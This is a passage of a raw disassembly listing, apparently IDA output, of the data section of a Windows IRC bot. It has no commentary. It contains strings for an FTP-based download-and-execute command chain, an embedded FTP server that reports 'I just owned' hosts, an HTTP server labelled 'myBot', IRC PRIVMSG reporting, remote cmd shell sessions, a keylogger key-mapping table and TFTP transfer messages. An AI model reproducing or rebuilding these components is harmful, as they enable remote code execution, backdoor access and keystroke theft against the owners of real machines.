0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 8 aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E69E+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00419E50o align 8 aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40ED60+5CAo a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40ED60+5A9o align 4 aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40ED60+558o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40ED60+546o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40ED60+4EBo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40ED60+4D3o align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40ED60+4C3o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40ED60+4B2o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40ED60+47Fo align 10h aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40ED60+43Bo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40ED60+402o align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40ED60+3D4o align 4 aList_0 db 'LIST',0 ; DATA XREF: sub_40ED60+3C1o align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40ED60+386o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40ED60+373o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40ED60+363o aI_0: ; DATA XREF: sub_40ED60+34Fo ; seg002:0043A8E0o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40ED60+328o aA_0: ; DATA XREF: sub_40ED60+314o ; seg002:0043A8ECo unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40ED60+2FDo ; sub_40ED60+338o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40ED60+2EDo align 4 off_43640C dd offset dword_445750 ; DATA XREF: sub_40ED60+2D9o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40ED60+2C9o align 4 aRest db 'REST',0 ; DATA XREF: sub_40ED60+2B5o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40ED60+2A5o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40ED60+291o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40ED60+281o align 4 aPass db 'PASS',0 ; DATA XREF: sub_40ED60+26Do align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40ED60+25Do align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40ED60+248o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40ED60+237o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40ED60+1B9o align 4 unk_4364A4 db 2Dh ; - ; DATA XREF: sub_40F477+3D3o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4364CC db 0Dh,0Ah,0 ; DATA XREF: sub_40F477+2BEo ; sub_41A6BE+F2o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F477+258o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:0040F944o ; sub_41AC18+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:0040F930o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_40F918o align 10h aTextHtml db 'text/html',0 ; DATA XREF: seg000:0040F911o align 4 unk_4366EC db 2Dh ; - ; DATA XREF: sub_40FA29+27Co db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_35 db ' failed to start worker thread, error %d',0 align 4 unk_436724 db 2Dh ; - ; DATA XREF: sub_40FA29+20Ao db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_436758: ; DATA XREF: sub_40FA29+156o unicode 0, <*>,0 aS_5 db '\%s',0 ; DATA XREF: sub_40FA29+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+64Do align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40FCD8+61Do align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+58Eo align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40FCD8+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4101FBo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40FCD8+51Co align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40FCD8+476o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+439o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40FCD8+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4100A5o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40FCD8+3C6o align 4 aSS_1 db '%s%s/',0 ; DATA XREF: sub_40FCD8:loc_410051o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+335o ; sub_40FCD8+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40FCD8+308o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_40FCD8+2DEo ; sub_40FCD8+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40FCD8+2B4o aAm db 'AM',0 ; DATA XREF: sub_40FCD8+293o align 4 aPm db 'PM',0 ; DATA XREF: sub_40FCD8+284o align 4 a__ db '..',0 ; DATA XREF: sub_40FCD8+231o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+146o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40FCD8+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40FCD8+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40FCD8+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410444+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 unk_436C08 db 2Dh ; - ; DATA XREF: sub_410565+14Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_36 db 'Failed to start client thread, error: <%d>.',0 align 8 unk_436C48 db 2Dh ; - ; DATA XREF: sub_410565+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_436C90 db 2Dh ; - ; DATA XREF: seg000:0041084Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_37 db 'Failed to start connection thread, error: <%d>.',0 unk_436CD0 db 2Dh ; - ; DATA XREF: seg000:004107D6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_436D14 db 2Dh ; - ; DATA XREF: seg000:00410B63o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 10h unk_436D40 db 2Dh ; - ; DATA XREF: seg000:00410B3Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_436D6C db 2Dh ; - ; DATA XREF: seg000:00410B1Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00410AECo align 4 unk_436DA8 db 2Dh ; - ; DATA XREF: seg000:00410A5Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_436DD4 db 2Dh ; - ; DATA XREF: seg000:loc_410BB1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 10h dword_436E00 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410BC0+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 0 dd 234032Dh, 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch dd 6F632074h, 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh dd 7325203Ah, 2C64253Ah, 72655320h, 20726576h, 65726874h dd 203A6461h, 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h dd 79646165h, 646E6120h, 69617720h, 676E6974h, 726F6620h dd 636E6920h, 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h dd 2E73h, 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h dd 2E3E6425h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 8 unk_436FD8 db 2Dh ; - ; DATA XREF: seg000:00410ECFo ; seg000:00410F05o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 10h unk_437020 db 2Dh ; - ; DATA XREF: sub_410FCB+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_437048 db 2Dh ; - ; DATA XREF: sub_410FCB+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_437088 db 2Dh ; - ; DATA XREF: sub_410FCB+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_4370C8 db 2Dh ; - ; DATA XREF: seg000:00411187o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h aCmdQ db 'cmd /q',0 ; DATA XREF: seg000:00411150o align 4 unk_437108 db 2Dh ; - ; DATA XREF: sub_41119D+8Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_437144 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:00411505o aFailedToSta_38 db '- Failed to start server on Port %d.',0 align 4 dword_437178 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:004114D0o aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0 align 8 dword_4371B8 dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h ; DATA XREF: seg000:00411468o dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h dd 25203A64h, 2E64h, 0 dd 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db '[TFTP]: transfer complete to: %s',0 align 8 dw 8 unicode 0, <>,0 aB_0: ; DATA XREF: seg000:loc_411F36o unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_437A2C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: seg000:004120FDo dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_437A64 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: sub_411D74+ACo aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411D74+86o align 4 asc_437A94: ; DATA XREF: sub_411D74+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: seg000:0041206Fo align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:0041202Co align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:00411EE2o align 10h dd offset dword_438358 dd offset off_438354 dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 